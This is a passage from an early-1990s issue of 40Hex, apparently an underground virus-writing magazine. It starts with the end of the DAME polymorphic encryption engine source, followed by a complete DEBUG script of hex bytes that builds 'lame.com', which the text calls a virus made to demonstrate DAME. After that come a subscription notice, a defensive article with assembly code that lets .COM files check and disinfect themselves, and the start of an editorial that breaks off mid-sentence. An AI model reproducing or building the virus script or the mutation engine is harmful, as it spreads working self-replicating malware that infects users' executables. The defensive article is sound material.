  1732.         dw      offset _add_reg_xxxx_add_add
  1733.  
  1734. add_reg_xxxx_table_end:
  1735.  
  1736. endif
  1737.  
  1738. if not vars eq 0        ; if (vars != 0)
  1739.  
  1740. ; _nest is needed to prevent the infinite recursion which is possible in a
  1741. ; routine such as the one used by DAME.  If this value goes above the
  1742. ; threshold value (defined as MAXNEST), then no further garbling/obfuscating
  1743. ; will occur.
  1744. _nest                   db      ?
  1745.  
  1746. ; This is used by the routine mod_reg_rm when encoding memory accessing
  1747. ; instructions.  The value in _relocate_amt is later added to the relocation
  1748. ; value to determine the final value of the memory adjustment.  For example,
  1749. ; we initially have, as the encryption instruction:
  1750. ;       add     [bx+0],ax
  1751. ; Let's say _relocate_amt is set to 2.  Now the instruction reads:
  1752. ;       add     [bx+2],ax
  1753. ; Finally, the relocate procedure alters this to:
  1754. ;       add     [bx+202],ax
  1755. ; or whatever the appropriate value is.
  1756. ;
  1757. ; This value is used in double word encryptions.
  1758. _relocate_amt           db      ?
  1759.  
  1760. ; Various memory locations which we must keep track of for calculations:
  1761. _loopstartencrypt       dw      ?
  1762. _loopstartdecrypt       dw      ?
  1763.  
  1764. _encryptpointer         dw      ?
  1765. _decryptpointer         dw      ?
  1766.  
  1767. _decryptpointer2        dw      ?
  1768.  
  1769. _start_encrypt          dw      ?
  1770. _start_decrypt          dw      ?
  1771.                                                         beginclear1:
  1772.  
  1773. ; _used_regs is the register tracker. Each byte corresponds to a register.
  1774. ; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
  1775. ; is zero, then the register's current value is unimportant to the routine.
  1776. ; If it is any other value, then the routine should not play with the value
  1777. ; contained in the register (at least without saving it first).
  1778. _used_regs              db      8 dup (?) ; 0 = unused
  1779.  
  1780. ; The following four variables contain the addresses in current memory which
  1781. ; contain the patch locations for the memory addressing instructions, i.e.
  1782. ;    XOR WORD PTR [bx+3212],3212
  1783. ; It is used at the end of the master encoding routine.
  1784. _encrypt_relocate_num   dw      ?
  1785. _encrypt_relocator      dw      8 dup (?)
  1786.  
  1787. _decrypt_relocate_num   dw      ?
  1788. _decrypt_relocator      dw      10 dup (?)
  1789.                                                         endclear1:
  1790.  
  1791. _encrypt_length         dw      ?       ; The number of bytes to encrypt
  1792.                                         ; (based upon alignment)
  1793. _counter_value          dw      ?       ; Forwards or backwards
  1794. _decrypt_value          dw      ?       ; Not necessarily the crypt key
  1795. _pointer_value1         dw      ?       ; Pointer register 1's initial value
  1796. _pointer_value2         dw      ?       ; Pointer register 2's initial value
  1797.  
  1798. _counter_reg            db      ?
  1799. _encrypt_reg            db      ?
  1800. _pointer_reg1           db      ?       ; 4 = not in use
  1801. _pointer_reg2           db      ?
  1802.  
  1803. _pointer_rm             db      ?       ; Holds r/m value for pointer registers
  1804. _maxnest                db      ?
  1805.  
  1806. _kludge                 dw      ?
  1807.  
  1808. endif
  1809. --End DAME.ASM--Begin LAME.SCR-------------------------------------------------
  1810. N lame.com
  1811. E 0100  E9 37 15 E8 01 08 CD 20 00 00 2A 2E 63 6F 6D 00
  1812. E 0110  2E 2E 00 0D 54 68 69 73 20 69 73 20 61 20 6C 61
  1813. E 0120  6D 65 20 76 69 72 75 73 20 73 6C 61 70 70 65 64
  1814. E 0130  20 74 6F 67 65 74 68 65 72 20 62 79 20 44 41 2F
  1815. E 0140  50 53 0D 0A 54 6F 20 64 65 6D 6F 6E 73 74 72 61
  1816. E 0150  74 65 20 44 41 4D 45 20 30 2E 39 31 0D 0A 1A 52
  1817. E 0160  51 53 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0
  1818. E 0170  EB 1C 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00
  1819. E 0180  D1 E0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 78
  1820. E 0190  01 89 16 7B 01 8A C2 5B 59 5A C3 03 84 87 05 84
  1821. E 01A0  86 07 84 85 06 84 84 05 07 83 05 06 82 03 07 81
  1822. E 01B0  03 06 80 07 05 83 06 05 82 07 03 81 06 03 80 03
  1823. E 01C0  07 0B 0F 13 17 1B 1F 5F 5D 5E 5A 59 5B 58 FC 50
  1824. E 01D0  53 51 52 56 55 57 E8 0E 00 5F 51 57 FF D7 5F 59
  1825. E 01E0  5D 5E 5A 5B 5B 58 C3 FC 50 B8 1F 0A 97 AB 96 AB
  1826. E 01F0  AB 92 AB 93 AB 87 CA 33 C0 B9 1E 00 F3 AB E8 71
  1827. E 0200  FF 25 F0 FF 59 33 C8 E8 69 03 83 E3 07 8A 87 BF
  1828. E 0210  01 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 F6 C5 40
  1829. E 0220  74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 52 E8 42 FF
  1830. E 0230  AB 58 F6 C5 20 75 02 F7 D8 33 DB F6 C5 80 74 05
  1831. E 0240  E8 30 03 2B C3 AB 93 AB E8 E6 02 BF 6F 0A B0 84
  1832. E 0250  F6 C5 08 74 09 E8 1A FF A3 6B 0A E8 DF 02 AA 92
  1833. E 0260  B0 84 E8 06 03 78 03 E8 D3 02 AA 3B C2 77 01 92
  1834. E 0270  8A E2 3D 05 03 74 D1 3D 07 06 74 CC BE 9B 01 B8
  1835. E 0280  03 00 F6 C5 80 74 05 83 C6 0C 04 04 E8 E4 02 23
  1836. E 0290  D8 03 F3 03 DB 03 F3 AD 8B D8 83 E3 07 80 BF 29
  1837. E 02A0  0A 00 75 D8 8A DC 0A DB 78 07 80 BF 29 0A 00 75
  1838. E 02B0  CB AB A4 E8 BC FE 24 0F 3C 0A 77 F7 AA E8 71 02
  1839. E 02C0  8B 3E 21 0A E8 07 03 BE 6F 0A 56 E8 A5 02 83 E3
  1840. E 02D0  03 8A 00 98 A8 80 75 F3 80 8F 6F 0A 80 8B F0 FE
  1841. E 02E0  84 29 0A 03 DB 8B 97 67 0A C6 06 19 0A 00 90 E8
  1842. E 02F0  5F 03 E8 D9 02 E8 1F 02 51 80 E1 F8 E8 9B 03 59
  1843. E 0300  89 3E 1F 0A 5E BA 04 00 AC A8 80 74 B3 4A 75 F8
  1844. E 0310  BE 1F 0A BF 1B 0A A5 A5 C6 06 1A 0A 00 90 E8 8E
  1845. E 0320  01 F6 C5 40 74 09 C6 06 1A 0A 02 90 E8 80 01 BB
  1846. E 0330  1B 0A 51 80 E1 F8 E8 87 00 59 B8 FC C3 AB BE 33
  1847. E 0340  0A 8B 3E 25 0A 51 E8 4E 00 59 BB 1D 0A E8 70 00
  1848. E 0350  57 E8 DD 01 5F E8 76 02 F6 C1 08 75 0D F6 C5 20
  1849. E 0360  74 03 E8 31 02 E8 66 02 EB 1E 8B D7 2B 16 23 0A
  1850. E 0370  03 16 27 0A 42 42 F7 DA 83 E2 0F 80 FA 0E 75 05
  1851. E 0380  F6 C5 20 74 03 E8 2F 02 89 3E 21 0A BE 45 0A 2B
  1852. E 0390  3E 23 0A 03 3E 27 0A F6 C5 20 74 04 03 3E 65 0A
  1853. E 03A0  2B 3E 6B 0A 2B 3E 6D 0A 8B 4C FE E3 08 97 97 AD
  1854. E 03B0  97 01 05 E2 F9 8B 3E 21 0A 8B CF 2B 0E 23 0A C3
  1855. E 03C0  8B 7F 04 90 53 C6 06 19 0A 00 90 A0 71 0A 25 07
  1856. E 03D0  00 BA 02 00 F6 C5 40 74 02 D1 E2 F6 C5 20 74 02
  1857. E 03E0  F7 DA F6 C5 80 74 26 D1 FA 50 E8 B2 03 A0 72 0A
  1858. E 03F0  25 07 00 E8 A9 03 5B F6 C5 08 75 14 53 92 E8 3C
  1859. E 0400  01 E8 AE 02 5A E8 6B 03 E8 47 01 EB 03 E8 8F 03
  1860. E 0410  B2 75 A0 6F 0A 25 07 00 3C 04 74 1D 52 BA 01 00
  1861. E 0420  F6 C5 10 74 10 3C 01 75 0A E8 3F 01 78 05 5A B2
  1862. E 0430  E2 EB 06 F7 DA E8 67 03 5A 5B 8B 07 2B C7 48 48
  1863. E 0440  86 E0 8A C2 0A E4 78 05 58 58 E9 7A FD AB 89 7F
  1864. E 0450  04 90 C3 80 E5 FB E8 12 01 78 03 80 CD 04 8B 3E
  1865. E 0460  21 0A BD 43 0A E8 66 01 33 C0 A0 73 0A E8 7C 00
  1866. E 0470  E8 B5 00 56 52 56 52 F6 C5 04 74 0B 92 E8 BD 00
  1867. E 0480  E8 2F 02 89 16 75 0A 5A 5E E8 67 01 53 E8 3E 01
  1868. E 0490  F6 C5 04 74 0C 92 A1 75 0A 50 E8 15 02 E8 B1 00
  1869. E 04A0  58 BD 31 0A E8 70 00 5B 5A 5E E8 7B 00 EB 30 E8
  1870. E 04B0  0B 00 E8 BD FC 3D 06 00 72 03 E8 96 FF 8B 3E 21
  1871. E 04C0  0A E8 0A 01 A0 70 0A 25 07 00 3C 04 74 49 E8 A2
  1872. E 04D0  00 80 FB C0 77 41 E8 13 00 E8 1A 01 E8 38 00 51
  1873. E 04E0  80 E1 F8 FF 50 01 59 89 3E 1F 0A C3 C6 06 19 0A
  1874. E 04F0  00 90 E8 76 00 78 08 E8 79 00 BE 6D 08 EB 15 E8
  1875. E 0500  71 00 83 E3 07 80 FB 04 74 F5 80 BF 29 0A 00 74
  1876. E 0510  EE BE A0 08 87 D3 C3 89 3E 21 0A 50 A0 74 0A A2
  1877. E 0520  19 0A 58 8B 3E 1F 0A C3 50 AC 98 03 F0 58 46 46
  1878. E 0530  C3 33 C0 BF 29 0A AB AB 40 AB 48 AB C3 E8 32 FC
  1879. E 0540  25 07 00 8B F0 80 BC 29 0A 00 75 F1 FE 84 29 0A
  1880. E 0550  C3 92 8B F0 C6 84 29 0A 00 C3 50 51 57 BF 29 0A
  1881. E 0560  B9 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 03 FC 0B
  1882. E 0570  C0 58 C3 93 E8 FB FB 93 C3 92 24 07 BB 65 08 D7
  1883. E 0580  AA C3 92 25 0F 00 0C 70 AB 57 E8 4A 00 8B C7 5B
  1884. E 0590  2B C3 88 47 FF C3 E8 D9 FB 8A D4 83 E2 0F 25 03
  1885. E 05A0  00 74 1B 48 74 11 B0 E9 AA 92 AB 51 91 E3 06 E8
  1886. E 05B0  C0 FB AA E2 FA 59 C3 B0 EB AA 92 AA EB ED B0 E8
  1887. E 05C0  E8 E5 FF E8 11 00 E8 74 FF E8 86 FF EB 71 C6 06
  1888. E 05D0  19 0A 00 90 E8 00 00 E8 80 FF 75 9C F6 C1 02 74
  1889. E 05E0  97 50 52 56 E8 8B FB 92 E8 52 FF E8 64 FF BE 44
  1890. E 05F0  08 EB 06 E8 E1 FF 50 52 56 50 AC 98 E8 74 FF 23
  1891. E 0600  D8 58 F6 C1 04 75 0F FE 06 19 0A 50 A0 74 0A 38
  1892. E 0610  06 19 0A 58 72 02 33 DB 53 FF 10 5B 5E 5A 58 C3
  1893. E 0620  BE A0 08 83 E2 07 EB CE BE 6D 08 EB C9 0A C0 78
  1894. E 0630  09 E8 37 FF 78 04 04 50 AA C3 05 30 FF EB 0F 0A
  1895. E 0640  C0 78 09 E8 25 FF 78 04 04 58 AA C3 B4 8F E9 F6
  1896. E 0650  00 BE BB 08 EB 9D E8 1A FF 53 2B D3 E8 F2 FF 5A
  1897. E 0660  EB 23 3C 04 73 34 50 52 E8 41 00 5A 58 86 F2 EB
  1898. E 0670  39 E8 FF FE 53 33 D3 E8 D7 FF 5A E9 9E 00 52 8B
  1899. E 0680  D0 E8 A2 00 5A E9 17 01 D1 CA E8 C4 FF EB 07 D1
  1900. E 0690  C2 E8 BD FF 0C 08 B4 D1 EB B4 E8 CE FE 78 06 04
  1901. E 06A0  B8 AA 92 AB C3 B4 C7 E9 0B 01 04 04 04 B0 8A E2
  1902. E 06B0  AB C3 BE CC 08 EB 9D 50 92 E8 71 FF 58 EB 80 B4
  1903. E 06C0  8B EB 6A E8 A5 FE 78 EA BE D5 08 EB 87 52 50 52
  1904. E 06D0  E8 5A FF 58 E8 56 FF 58 E8 64 FF 58 E9 60 FF E8
  1905. E 06E0  78 FE 75 14 52 50 E8 54 FE E8 D7 FF 5A E8 D8 FF
  1906. E 06F0  5A 92 E8 CE FF E9 59 FE 0A C0 78 0A 3A C2 7F 02
  1907. E 0700  86 C2 0A D2 74 06 86 C2 B4 87 EB 33 04 90 AA C3
  1908. E 0710  E8 60 FE 53 33 D3 E8 03 00 5A EB 00 BE DE 08 EB
  1909. E 0720  AA 0C 30 E9 87 00 BE E7 08 EB A0 B4 33 0A C0 78
  1910. E 0730  09 0A D2 78 0A E8 33 FE 78 05 86 C2 80 EC 02 D0
  1911. E 0740  E0 D0 E0 D0 E0 0A C2 0A C0 78 02 0C C0 86 E0 F6
  1912. E 0750  C4 40 75 1D F6 C1 01 75 05 50 B0 2E AA 58 AB 2E
  1913. E 0760  8B 76 00 03 F6 2E 89 7A 02 2E FF 46 00 A0 1A 0A
  1914. E 0770  98 AB C3 BE EC 08 EB B1 B4 03 EB B1 BE F1 08 EB
  1915. E 0780  A8 B4 2B EB A8 E8 4F 00 4A EB 14 E8 44 00 42 EB
  1916. E 0790  0E E8 DF FD 53 2B D3 E8 05 00 5A EB 02 F7 DA 0B
  1917. E 07A0  D2 75 01 C3 BE F6 08 EB D6 0A C0 74 0E 0A C0 78
  1918. E 07B0  02 04 C0 B4 81 E8 8F FF 92 AB C3 B0 05 AA EB F8
  1919. E 07C0  F7 DA 0B D2 74 DD 0A C0 74 04 04 28 EB DF B0 2D
  1920. E 07D0  EB EB 50 04 08 EB 01 50 0A C0 79 07 B4 FF E8 66
  1921. E 07E0  FF 58 C3 04 40 AA 58 C3 BB B2 06 BE C3 06 0A C0
  1922. E 07F0  78 0F EB 0F BB 2B 07 EB 08 BB 78 07 EB 03 BB 81
  1923. E 0800  07 8B F3 E8 54 FD 75 2A 50 56 E8 30 FD E8 A2 FE
  1924. E 0810  5E 5A 92 52 FF D6 58 E9 38 FD BB 1C 07 BE 26 07
  1925. E 0820  E8 37 FD 75 0D 50 56 E8 13 FD E8 24 FE 92 5E 58
  1926. E 0830  EB E1 FF E3 BB 9F 07 BE 73 07 EB E4 BB 51 06 BE
  1927. E 0840  C3 06 EB DC 1E 78 05 78 05 78 05 78 05 78 05 20
  1928. E 0850  06 20 06 20 06 28 06 28 06 28 06 79 05 79 05 79
  1929. E 0860  05 82 05 96 05 F8 F5 F9 FC FD FB CC F0 0E 1C 07
  1930. E 0870  51 06 C2 07 9F 07 D2 07 D7 07 94 06 96 06 0E 1C
  1931. E 0880  07 C2 07 9F 07 9F 07 D2 07 D7 07 94 06 96 06 0E
  1932. E 0890  1C 07 9F 07 C2 07 C2 07 D7 07 D2 07 96 06 94 06
  1933. E 08A0  06 26 07 B2 06 7C 07 73 07 06 26 07 26 07 7C 07
  1934. E 08B0  73 07 06 26 07 26 07 73 07 7C 07 0E 9A 06 3C 08
  1935. E 08C0  56 06 62 06 71 06 7E 06 88 06 8F 06 06 BF 06 BF
  1936. E 08D0  06 E8 07 B7 06 06 F8 06 F8 06 CD 06 DF 06 06 21
  1937. E 08E0  07 21 07 1A 08 10 07 02 2B 07 F4 07 02 78 07 F9
  1938. E 08F0  07 02 81 07 FE 07 0E A9 07 A9 07 34 08 C0 07 85
  1939. E 0900  07 8B 07 91 07 91 07 5E 8B C6 B1 04 D3 E8 2D 10
  1940. E 0910  00 03 C3 BB 19 09 50 53 CB BF 00 01 06 57 06 06
  1941. E 0920  A5 A5 0E 0E 07 1F B4 1A BA B8 0A CD 21 B4 47 99
  1942. E 0930  BE 78 0A C6 44 FF 5C CD 21 C6 06 18 0A 04 90 E8
  1943. E 0940  1D F8 B4 4E BA 0A 01 CD 21 73 1A B4 3B BA 10 01
  1944. E 0950  CD 21 73 EE B4 3B BA 77 0A CD 21 07 1F BA 80 00
  1945. E 0960  B4 1A CD 21 CB B8 00 3D BA D6 0A CD 21 72 26 93
  1946. E 0970  B4 3F B9 04 00 BA 06 01 CD 21 B4 3E CD 21 81 3E
  1947. E 0980  06 01 FC E9 74 0F 02 C4 3C A7 74 09 E8 0A 00 FE
  1948. E 0990  0E 18 0A 74 BF B4 4F EB AE B8 00 3D BA D6 0A CD
  1949. E 09A0  21 50 93 B8 20 12 CD 2F B8 16 12 26 8A 1D B7 00
  1950. E 09B0  CD 2F 5B 26 C7 45 02 02 00 26 8B 45 11 8B E8 B9
  1951. E 09C0  04 00 2B C1 A3 16 0A B4 40 BA 14 0A CD 21 26 89
  1952. E 09D0  6D 15 06 57 0E 07 BE 00 01 BF 04 0D B9 8B 04 F3
  1953. E 09E0  A5 B8 0B 00 BA 04 0D B9 16 09 BE 64 0B BF E4 0A
  1954. E 09F0  52 53 56 8B DD FE C7 E8 D4 F7 B4 40 5A 5B CD 21
  1955. E 0A00  B4 40 B9 16 09 5A CD 21 5F 07 26 80 4D 06 40 B4
  1956. E 0A10  3E CD 21 C3 FC E9
  1957. E 163A  C6 06 00 01 FC C7
  1958. E 1640  06 01 01 8C DB 33 FF 0E 57 0E 0E E9 D4 F2
  1959. R CX
  1960. 154E
  1961. W
  1962. Q
  1963. --End LAME.SCR-----------------------------------------------------------------
  1964.                                                                              DA
  1965. 40Hex Number 12 Volume 3 Issue 3                                      File 002
  1966.  
  1967. Extracted From CuD [5.66]
  1968. -------------------------
  1969.  
  1970. Subject: File 3--40Hex is now a print magazine
  1971. From: fortyhex (geoff heap)
  1972. Date: Mon, 16 Aug 93 17:19:02 EDT
  1973.  
  1974.      40Hex, the world's most popular underground virus magazine is now
  1975. available in two versions -- the familiar online magazine and a new
  1976. printed magazine.
  1977.      In the past two and a half years, 40Hex has become the most popular
  1978. virus magazine in the underground.  The new printed magazine (dubbed
  1979. 40Hex Hardcopy) is intended for anyone who wishes to learn as much as
  1980. they can about computer viruses -- from the source, the virus writers.
  1981.      Each issue will contain --
  1982.  
  1983.      o A complete virus disassembly, fully commented in the 40Hex
  1984.        tradition,
  1985.  
  1986.      o Detailed programming articles, intended for those fluent in
  1987.        assembly,
  1988.  
  1989.      o Introductory articles intended to help those on all levels of
  1990.        ability, and
  1991.  
  1992.      o Interviews with virus writers and virus researchers.
  1993.  
  1994.      Also included is an editorial column, which will provide a forum
  1995. for discussions about any virus related issue.  Submissions from both
  1996. sides of the argument are welcome, and will be given an equal voice.
  1997.  
  1998.  
  1999.      Subscriptions --
  2000.  
  2001.      The price for 40Hex Hardcopy is $35 per year for individuals, $50
  2002. per year for corporations.  The magazine is bimonthly (six issues per
  2003. year).
  2004.  
  2005.      The online magazine is available free of charge from many privately
  2006. operated BBSs.  You may receive a disk with the latest issue from us for
  2007. $5.  Please send a note specifying whether you would like a 5 1/4 or a 3
  2008. 1/2 inch disk.
  2009.  
  2010.      Correspondence --
  2011.  
  2012. Subscription requests should be addressed to
  2013.  
  2014.         Subscriptions
  2015.         40Hex Magazine
  2016.         PO Box 252
  2017.         New City, NY, 10956
  2018.  
  2019. Article submissions should be addressed to
  2020.  
  2021.         Articles
  2022.         40Hex Magazine
  2023.         PO Box 252
  2024.         New City, NY, 10956
  2025.  
  2026. Letters to the editors should be addressed to
  2027.  
  2028.         The Editors
  2029.         40Hex Magazine
  2030.         PO Box 252
  2031.         New City, NY, 10956
  2032.  
  2033. if you have access to internet E-Mail, you can send a note to
  2034.  
  2035.         fortyhex@mindvox.phantom.com
  2036.  
  2037.  
  2038. note: manuscripts will not be returned to the sender unless they are
  2039. accompanied by postage.  All submissions must be marked "manuscript
  2040. submitted for publication."
  2041.  
  2042.  
  2043.      The online magazine will still be published, and will remain
  2044. separate from the new hardcopy magazine with no article overlap.
  2045.  
  2046.  
  2047. +++
  2048.  
  2049.                                         Leni Niles
  2050.                                         Co-Editor, 40Hex Hardcopy
  2051.  
  2052. ---------------------------------------------------------------------
  2053. 40Hex Number 12 Volume 3 Issue 3                                     File 003
  2054.  
  2055.                 Self Checking Executable Files
  2056.                                         Demogorgon  Phalcon/Skism
  2057.  
  2058.  
  2059.      In this article I will explain a method that will allow .COM files
  2060. to be immune to simple viruses.  In order to infect a .COM file, a virus
  2061. must change several bytes at the beginning of the code.  Before the
  2062. virus returns control to the original program, it will 'disinfect' it
  2063. into memory, so that the program runs as it did before infection.  This
  2064. disinfection process is crucial, because it means that the image on the
  2065. disk will not be the same as the memory image of the program.  This
  2066. article describes a method by which a .COM file can perform a self-check
  2067. by reading its disk image and comparing it to its memory image.
  2068.  
  2069.      The full pathname of the program that is being executed by DOS is
  2070. located in the environment block.  The segment of the environment block
  2071. can be read from the PSP.  It is located at offset [2Ch].
  2072.  
  2073.      The name of the program is the last entry in the environment block,
  2074. and can be located by searching for two zeros.  The next byte after the
  2075. two zeros contains the length of the string that follows it.  After the
  2076. length is an ASCIIZ string containing the pathname of the current
  2077. process.  The following code opens the file being executed:
  2078.  
  2079. nish:   mov     es, word ptr ds:[2Ch]   ; segment of environment
  2080.         xor     ax, ax
  2081.         mov     di, 1
  2082. loop_0: dec     di
  2083.         scasw
  2084.         jne     loop_0
  2085.  
  2086.         mov     dx, di
  2087.         add     dx, 2                   ; start of pathname
  2088.         push    es
  2089.         pop     ds
  2090.         mov     ax, 3D02h               ; open, read/write access
  2091.         int     21h
  2092.  
  2093.      Next, we must read in the file (using dos services function 3Fh,
  2094. read file or device).  We can read the file into the heap space after
  2095. the program, as long as we are sure we will not overwrite the stack. The
  2096. sample program in this file reads itself in entirely, but remember, it
  2097. is not necessary to do so. It is only necessary to read and compare the
  2098. first few bytes.  Also, the program could read itself in blocks instead
  2099. of all at once.
  2100.  
  2101.      If a file finds itself to be infected, it should report this to the
  2102. user.  Remember, even though the file knows it is infected, the virus
  2103. has already executed.  Memory resident viruses will already have loaded
  2104. themselves into memory, and direct action viruses will already have
  2105. infected other files on the drive.  Thus, any virus that employs
  2106. disinfection on the fly will be able to avoid detection and removal.
  2107. Here is the full source to the self checking program:
  2108.  
  2109.  
  2110. ;();();();();();();();();();();();();();();();();();();();();()
  2111.  
  2112. .model tiny
  2113. .code
  2114. org 100h
  2115.  
  2116. start:  mov     es, word ptr ds:[2Ch]   ; dos environment block
  2117.         xor     ax, ax
  2118.         mov     di, 1
  2119. loop_0: dec     di
  2120.         scasw
  2121.         jne     loop_0
  2122.  
  2123.         mov     dx, di
  2124.         add     dx, 2                   ; <- point to current
  2125.         push    es                      ;    process name
  2126.         pop     ds
  2127.         mov     ah, 3Dh                 ; open file with handle
  2128.         int     21h
  2129.         jc      bad                     ; error opening file ?
  2130.         mov     bx, ax
  2131.  
  2132.         push    cs
  2133.         push    cs
  2134.         pop     es
  2135.         pop     ds                      ; I am a com file.
  2136.  
  2137.         mov     cx, heap - start        ; length
  2138.         lea     dx, heap                ; where to read file into
  2139.         mov     ah, 3Fh                 ; read file or device
  2140.         int     21h
  2141.         jc      bad                     ; error reading file ?
  2142.  
  2143.         ; here, do a byte for byte compare
  2144.         lea     si, start
  2145.         lea     di, heap
  2146.  
  2147.         repe    cmpsb                   ; compare 'em
  2148.         jne     bad
  2149.  
  2150.         lea     dx, clean
  2151.         mov     ah, 9
  2152.         int     21h
  2153.         jmp     quit_
  2154.  
  2155. bad:    mov     ah, 9
  2156.         lea     dx, infected
  2157.         int     21h
  2158.  
  2159. quit_:  mov     ax, 4C00h
  2160.         int     21h
  2161.  
  2162. clean    db 'Self check passed.$'
  2163. infected db 'Self check failed.  Program is probably infected.$'
  2164.  
  2165. heap:
  2166.  
  2167. end start
  2168.  
  2169. ;();();();();();();();();();();();();();();();();();();();();()
  2170.  
  2171.  
  2172.      While some self checking routines opt to use a crc or checksum
  2173. error detection method, the byte for byte method is both faster and more
  2174. accurate.
  2175.  
  2176.      Weak points: This routine will not work against a stealth virus
  2177. which employs disinfection on the fly.  Such viruses take over the dos
  2178. interrupt (int 21) and disinfect all files that are opened and read
  2179. from.  As the routine in this article attempts to read itself into
  2180. memory, the stealth virus would disinfect it and write an uninfected
  2181. copy to ram.  Of course, there are ways to defeat this.  If this program
  2182. were to use some sort of tunneling, it could bypass the stealth virus
  2183. and call DOS directly.  That way, infections by even the most
  2184. sophisticated viruses would be detectable.
  2185.  
  2186.  
  2187. Disinfection:
  2188.  
  2189.      So, now you can write programs that will detect if they have been
  2190. infected.  How about disinfection?  This too is possible.  Most viruses
  2191. simply replace the first three bytes of the executable file with a jump
  2192. or a call, which transfers control to the virus code. Since only the
  2193. first three bytes are going to be changed (in almost all cases), it will
  2194. usually be possible for a program to disinfect itself by replacing the
  2195. first three bytes with what is supposed to be there, and then truncating
  2196. itself to the correct size.  The next program writes the entire memory
  2197. image to disk, rather than just the first three bytes.  That way, it can
  2198. be used to disinfect itself from all nonstealth viruses.
  2199.  
  2200.      The steps to disinfect are simple.  First of all, you must move the
  2201. file pointer back to the beginning of the file.  Use interrupt 21,
  2202. ah=42h for this.  The AL register holds the move mode, which must be 00
  2203. in this case (move from beginning of file).  CX:DX holds the 32bit
  2204. number for how many bytes to move.  Naturally, this should be 0:0.
  2205.  
  2206.      The second step is to write back the memory image to the file.
  2207. Since the virus has already restored the first few bytes of our program
  2208. in memory, we must simply write back to the original file, starting from
  2209. 100h in the current code segment.  i.e.:
  2210.  
  2211.         mov     ah, 40h
  2212.         mov     cx, heap - start ; bytes to write
  2213.         lea     dx, start
  2214.         int     21h              ; write file or device
  2215.  
  2216.      Finally, we must truncate the file back to its original size.  To
  2217. truncate a file, we must move the file pointer to the end and call the
  2218. 'write file or device' function with cx, the bytes to write, equal to
  2219. zero. To move the pointer, do this:
  2220.  
  2221.         mov     ax, 4200h
  2222.         mov     cx, (heap - start) SHR 16     ; high word of file ptr
  2223.         mov     dx, (heap - start)            ; low word of file ptr
  2224.         int     21h                           ; move file pointer
  2225.  
  2226.  
  2227.      Since we are dealing with .COM files here, it is safe to assume
  2228. that cx, the most significant word of the file ptr, can be set to zero,
  2229. because our entire file must fit into one segment.  We do not need to
  2230. calculate it as above.
  2231.  
  2232.      To truncate:
  2233.  
  2234.         xor     cx, cx
  2235.         mov     ah, 40h
  2236.         int     21h             ; truncate file
  2237.  
  2238.      The full code for the self disinfecting program follows.
  2239.  
  2240.  
  2241. ;();();();();();();();();();();();();();();();();();();();();()
  2242.  
  2243. .model tiny
  2244. .code
  2245. org 100h
  2246.  
  2247. start:  mov     es, word ptr ds:[2Ch]   ; segment of environment
  2248.         xor     ax, ax
  2249.         mov     di, 1
  2250. loop_0: dec     di
  2251.         scasw
  2252.         jne     loop_0
  2253.  
  2254.         mov     dx, di
  2255.         add     dx, 2
  2256.         push    es
  2257.         pop     ds
  2258.         mov     ax, 3D02h               ; open, read/write access
  2259.         int     21h
  2260.         mov     bx, ax                  ; handle into bx
  2261.         push    cs
  2262.         push    cs
  2263.         pop     es
  2264.         pop     ds
  2265.         mov     cx, heap - start
  2266.         lea     dx, heap
  2267.         mov     ah, 3Fh                 ; read file or device
  2268.         int     21h
  2269.         jc      quit_                   ; can't read ?
  2270.  
  2271.         lea     si, start
  2272.         lea     di, heap
  2273.  
  2274.         repe    cmpsb                   ; byte for byte compare
  2275.         jne     bad
  2276.  
  2277.         lea     dx, clean               ; we are golden
  2278.         mov     ah, 9                   ; print string
  2279.         int     21h
  2280.         jmp     main_program
  2281.  
  2282. bad:    mov     ah, 9                   ; we are infected
  2283.         lea     dx, infected
  2284.         int     21h
  2285.  
  2286.         lea     dx, disinfection
  2287.         int     21h
  2288.  
  2289.         ; now, disinfect.  File handle is still in bx
  2290.         ; we must move the file pointer to the beginning
  2291.         xor     cx, cx
  2292.         xor     dx, dx
  2293.         mov     ax, 4200h
  2294.         int     21h             ; move file pointer
  2295.  
  2296.         mov     ah, 40h         ; 40hex!
  2297.         mov     cx, heap - start
  2298.         lea     dx, start
  2299.         int     21h             ; write file or device
  2300.         jnc     success
  2301.  
  2302.         lea     dx, not__
  2303.         mov     ah, 9
  2304.         int     21h
  2305. success:mov     ah, 9
  2306.         lea     dx, successful
  2307.         int     21h
  2308.  
  2309.         xor     cx, cx
  2310.         mov     ah, 40h         ; 40hex!
  2311.         int     21h             ; truncate file
  2312.  
  2313. main_program:
  2314.  
  2315. quit_:  mov     ax, 4C00h
  2316.         int     21h
  2317.  
  2318. disinfection  db 0Dh, 0Ah, 'Disinfection $'
  2319. not__         db 'not '
  2320. successful    db 'successful.$'
  2321.  
  2322. clean         db 'Self check passed.$'
  2323. infected      db 'Self check failed.  Program is probably '
  2324.               db 'infected.$'
  2325.  
  2326. heap:
  2327.  
  2328. end start
  2329.  
  2330. ;();();();();();();();();();();();();();();();();();();();();()
  2331.  
  2332. Weak points: The same weak points that apply above also apply here.
  2333. Additionally, the program may, by writing itself back to disk, give the
  2334. virus the opportunity to reinfect.  Remember, any memory resident
  2335. viruses will already have loaded into memory by the time the program
  2336. disinfects itself.  When the program tries to disinfect itself, any
  2337. virus that intercepts the 'write file or device' interrupt will
  2338. intercept this write and re-infect.  Again, tunneling is the clear
  2339. solution.
  2340.  
  2341. 40Hex Number 12 Volume 3 Issue 3                                      File 003
  2342.  
  2343.     [Not so] Recently, the AIS BBS was shut down because of an anonymous
  2344. letter which stated that the AIS BBS contained and distributed virus
  2345. source code and helped system hackers develop and test malicious
  2346. programs. Now, I had been a member of AIS BBS for quite awhile, and it
  2347. is true that there was virus source code available.  The first question
  2348. I want to ask is:
  2349.  
  2350. "Who uploaded these viruses?"
  2351.  
  2352.     Hackers uploaded them.  To my knowledge there weren't that many
  2353. hackers on AIS BBS.  The majority of the users were people in the
  2354. computer and computer security industry.  By being exposed to virus
  2355. source code and hackers in general, they would be able to do their job
  2356. better and more effectively.  The anonymous person who complained about
  2357. AIS BBS clearly didn't do enough research, because if he had, he would
  2358. have realized that the people who he was worried about obtaining viruses
  2359. already had them.  I would guess that over 90% of the underground
  2360. material on AIS BBS was contributed by hackers.  Which brings me to my
